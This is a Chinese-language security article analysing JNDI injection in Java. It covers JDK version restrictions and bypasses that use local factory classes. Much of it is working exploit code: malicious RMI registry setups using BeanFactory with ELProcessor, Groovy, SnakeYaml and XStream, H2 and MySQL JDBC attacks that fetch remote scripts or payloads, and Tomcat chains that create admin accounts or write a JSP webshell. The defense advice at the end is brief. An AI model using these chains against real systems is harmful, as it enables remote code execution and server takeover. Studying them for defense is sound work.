探究bypass JNDI限制及利用链扩展
字数 1820 2025-08-12 11:34:09
JNDI注入攻击全面分析与绕过技术
1. JNDI基础概念
JNDI (Java Naming and Directory Interface) 是SUN公司提供的标准Java命名和目录接口,它为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。
1.1 JNDI支持的服务
- DNS
- LDAP
- CORBA
- RMI (常用)
- 其他命名和目录服务
1.2 JNDI核心机制
JNDI中每个对象都有一组唯一的键值绑定,将对象和名字绑定,使得应用程序可以通过名字搜索到指定对象。目录服务是命名服务的自然拓展,区别在于目录服务中的对象可以有属性。
2. JNDI注入原理
2.1 RMI动态类加载机制
RMI的核心特点之一是动态类加载:
- 当JVM中没有某个类时,可以从远程URL下载该类的class文件
- 这个class文件可以使用web服务托管
- RMI注册表可以动态加载绑定多个RMI应用
2.2 JNDI Reference攻击流程
- 攻击者搭建恶意RMI服务端,绑定一个Reference对象
- 该Reference指向攻击者控制的远程class文件
- 受害者应用通过JNDI lookup该RMI服务
- 客户端下载并执行恶意class
2.3 Reference类关键参数
public class Reference {
protected String className; // 远程加载时使用的类名
protected String classFactory; // 需要实例化的类名
protected String classFactoryLocation; // 加载class的远程地址(file/ftp/http等)
}
3. JDK版本限制与绕过
3.1 JDK版本限制时间线
RMI协议限制:
- JDK 6u132, 7u122, 8u113开始:
- 默认
com.sun.jndi.rmi.object.trustURLCodebase=false - 禁止从远程Codebase加载Reference工厂类
- 默认
LDAP协议限制:
- Oracle JDK 11.0.1、8u191、7u201、6u211之后:
com.sun.jndi.ldap.object.trustURLCodebase=false(CVE-2018-3149)
3.2 高版本JDK绕过技术
3.2.1 利用本地Class作为Reference Factory
条件:
- 工厂类必须实现
javax.naming.spi.ObjectFactory接口 - 至少存在一个
getObjectInstance()方法
常用工厂类:
org.apache.naming.factory.BeanFactory(需要Tomcat依赖)org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory(DBCP驱动)org.apache.tomcat.jdbc.pool.DataSourceFactory(Tomcat JDBC)com.alibaba.druid.pool.DruidDataSourceFactory(Druid)
3.2.2 利用LDAP返回序列化数据
触发本地Gadget进行反序列化攻击
4. 具体利用技术详解
4.1 探测技术
探测链1:检测MLet类是否存在
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null,
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
ref.add(new StringRefAddr("a", "xxx"));
ref.add(new StringRefAddr("b", "http://127.0.0.1:2333/"));
ref.add(new StringRefAddr("c", "Evil"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("test", referenceWrapper);
探测链2:检测SnakeYaml依赖
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null,
true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://tcbua9.ceye.io/\"]]]]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("test", referenceWrapper);
4.2 利用技术
4.2.1 使用BeanFactory + ELProcessor
Registry registry = LocateRegistry.createRegistry(2000);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null,
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "KINGX=eval"));
ref.add(new StringRefAddr("KINGX",
"getClass().forName(\"javax.script.ScriptEngineManager\").newInstance()" +
".getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder" +
"['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
4.2.2 使用BeanFactory + Groovy
Registry registry = LocateRegistry.createRegistry(9999);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null,
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String s = String.format("@groovy.transform.ASTTest(value={\n" +
"assert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef x\n", "calc.exe");
ref.add(new StringRefAddr("x", s));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("test", referenceWrapper);
4.2.3 使用BeanFactory + SnakeYaml
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null,
true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8888/exp.jar\"]\n" +
" ]]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("test", referenceWrapper);
4.2.4 使用BeanFactory + XStream
private static ResourceRef tomcat_xstream(){
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null,
true, "org.apache.naming.factory.BeanFactory", null);
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
// 详细XML内容省略,包含XStream反序列化payload
"</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));
return ref;
}
4.3 JDBC攻击技术
4.3.1 H2数据库攻击
String JDBC_URL = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;" +
"INIT=RUNSCRIPT FROM 'http://127.0.0.1:8888/poc.sql'";
ResourceRef ref = new ResourceRef("javax.sql.DataSource", null,
true, "org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory", null);
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
ref.add(new StringRefAddr("url", JDBC_URL));
ref.add(new StringRefAddr("username", "root"));
ref.add(new StringRefAddr("password", "root"));
ref.add(new StringRefAddr("initialSize", "1"));
poc.sql内容:
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {
Runtime.getRuntime().exec(cmd);
}';
CALL EXEC ('calc')
4.3.2 MySQL攻击
String JDBC_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true" +
"&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor" +
"&user=yso_CommonsCollections4_calc";
ResourceRef ref = new ResourceRef("javax.sql.DataSource", null,
true, "org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory", null);
ref.add(new StringRefAddr("driverClassName", "com.mysql.jdbc.Driver"));
ref.add(new StringRefAddr("url", JDBC_URL));
ref.add(new StringRefAddr("initialSize", "1"));
4.4 Tomcat特定攻击
4.4.1 创建管理员用户
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null,
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname",
"http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
tomcat-users.xml内容:
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users>
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui"/>
<user username="admin" password="123456" roles="manager-script,manager-gui"/>
</tomcat-users>
4.4.2 写入Webshell
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null,
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname",
"http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));
ref.add(new StringRefAddr("readonly", "false"));
test.jsp内容:
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" version="1.0">
<role rolename="<%Runtime.getRuntime().exec("calc");%>"/>
</tomcat-users>
5. 防御建议
- 升级JDK到最新版本
- 设置
com.sun.jndi.rmi.object.trustURLCodebase=false - 设置
com.sun.jndi.ldap.object.trustURLCodebase=false - 对用户输入的JNDI查找名称进行严格过滤
- 使用安全管理器限制代码执行权限
- 移除不必要的依赖和危险类
6. 总结
JNDI注入攻击是一种严重的Java安全漏洞,随着JDK版本的更新,攻击方式也在不断演变。从最初的远程类加载到利用本地类进行攻击,再到结合各种组件的特性进行利用,攻击者的手段日益多样化。防御者需要全面了解攻击原理和最新绕过技术,才能有效防护此类攻击。